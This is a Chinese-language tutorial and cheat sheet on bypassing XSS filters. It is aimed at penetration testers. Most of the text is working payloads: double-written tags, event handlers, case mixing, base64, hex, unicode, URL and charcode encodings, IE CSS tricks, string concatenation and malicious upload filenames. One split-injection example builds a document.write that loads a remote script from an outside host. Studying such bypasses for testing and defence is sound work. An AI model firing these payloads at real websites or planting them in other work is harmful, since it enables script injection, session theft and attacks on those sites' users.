XSS漏洞简介
跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。要想学习好XSS,需要重点对WEB应用有一个比较深入的了解,对后端防护规则需要有一个大概的了解,才能在渗透测试中游刃有余,在实际的渗透测试场景中,XSS在大多数情况都是增加了防护规则的,下面就介绍一下常见的XSS绕过的思路,仅仅提供思路,更多的还是需要大家对于漏洞的理解。
前端过滤
burp抓包改包绕过:
通过抓响应包,然后直接删除掉里面的JS校验的代码,核心让JS校验不起作用。
记住一句话: 前端校验等于没有校验。真正的校验还是得后端做。
双写绕过
核心掌握为什么要这样双写。需要知道后端校验的意图。
<scri<script>pt>alert(111)</scri<script>pt>
事件绕过
如:onclick、onmousemove、onblur、oninput事件
主打的就是绕黑名单
onmouseover="alert('miracle')"
onblur=alert(11)
oninput=alert(22)
大小写绕过
主要就是看后端正则校验是否区分了大小写。
<SCRIPT>aLeRT(111)</sCRIpt>
注释干扰绕过
主要还是和正则做对抗:思路思路
<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
伪协议绕过
这个就要分析源码看有没有相关的属性了,有就可以尝试。
111"> <a href="javascript:alert(9527)">xss</a>< table background= "javascript:alert(9526)"> </table><img srC= "javascript:alert(9528);" >
空格回车Tab绕过
主要和正则对抗:
空格:<img src= "javascript:alert(9527);" >TAB:< img src= "javasc :ript:alert(9528);" >回车:< img src= "javascript:alert('xss');" >
编码绕过
编码绕过的本质就是需要了解编码的发展史,当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。
base64编码:
如果过滤了 < > ' " script,可以用base64编码eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
<script> eval(atob('YWxlcnQoOTUyNyk='));</script>base64编码多用于如下两种情况:
1. <a href= "可控点">
2. < iframe src= "可控点">举例:
<a href= "data:text/html;base64,PGltZyBzcmM9eCDOv25lcnLOv3I9IGFsZXJ0KDk1MjYpPg==">xxx</a>
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的<img src=x οnerrοr= alert(9526)>
JS编码:
八进制:
三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"
十六进制:
两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(9527);\x3c/script\x3e
unicode:
四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(9528);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
HTML实体编码:
字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"<"
<img src="1" οnerrοr= "alert(1)">
浏览器是不会在html标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么
URL编码:
进行两次URL全编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
CSS绕过
利用IE特性绕过XSS过滤:
IE中两个反单引号 `` 可以闭合一个左边双引号
``οnmοusemοve= alert(1)
利用css特性绕过xss过滤:
设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(9527);");低版本IE浏览器6 10 D版本弹窗成功
IE中利用CSS触发xss:
CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(9528);window.x= 1;})
过滤空格
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">利用top
<img src="x" onerror="top['al'+'ert'](1)">利用window
<img src="x" onerror="window['al'+'ert'](1)">利用self
<img src="x" onerror="self[`al`+`ert`](1)">利用parent
<img src="x" onerror="parent[`al`+`ert`](1)">利用frames
<img src="x" onerror="frames[`al`+`ert`](1)">
其它字符混淆
<<script>alert("xss");//<</script><title><img src=</title>><img src=x onerror="alert(`9526`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
过滤双引号,单引号
用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
alert 过滤
prompt 替换
<script>prompt(9527)</script>confirm 替换
<script>confirm(9528)</script>console.log 替换
<script>console.log(3306)</script>document.write 替换
<script>document.write(8080)</script>base64 绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
常用函数
<img src="x" onerror="eval(alert(1))"><img src="x" onerror="open(alert(1))"><img src="x" onerror="document.write(alert(1))"><img src="x" onerror="setTimeout(alert(1))"><img src="x" onerror="setInterval(alert(1))"><img src="x" onerror="Set.constructor(alert(1))"><img src="x" onerror="Map.constructor(alert(1))"><img src="x" onerror="Array.constructor(alert(1))"><img src="x" onerror="WeakSet.constructor(alert(1))"><img src="x" onerror="constructor.constructor(alert(1))"><img src="x" onerror="[1].map(alert(1))"><img src="x" onerror="[1].find(alert(1))"><img src="x" onerror="[1].every(alert(1))"><img src="x" onerror="[1].filter(alert(1))"><img src="x" onerror="[1].forEach(alert(1))"><img src="x" onerror="[1].findIndex(alert(1))">
赋值拼接
<img src onerror=_=alert,_(1)><img src x=al y=ert onerror=top[x+y](1)><img src onerror=top[a='al',b='ev',b+a]('alert(1)')><img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
拆分法
当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过
<script>a='document.write("'</script><script>a=a+'<script src=ht'</script><script>a=a+'tp://note163.com/xs'</script><script>a=a+'s.js></script>")'</script><script>eval(a)</script>
通过上面的拆分法可以拼凑出下面完整的攻击向量:
document.write("<script src = http://note163.com/xss.js></script>")
上传文件构造xss
上传普通文件更改文件名为xss语句
<script>alert(443)</script>.gif/png
XSS绕过cloudflare
Payload:
<svg onload=alert(document.domain)>
XSS绕过过滤
Payload:
"/><svg+svg+svg//On+OnLoAd=confirm(6379)>
XSS(上传图片)
<img src=x onerror=alert('XSS')>.png "><img src=x οnerrοr=alert('XSS')>.png "><svg onmouseover=alert(1)>.svg<<script>alert('xss')<!--a-->a.png
遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
以上就是XSS绕过的思路总结啦,借鉴了很多前辈的思路!非常🙏!!!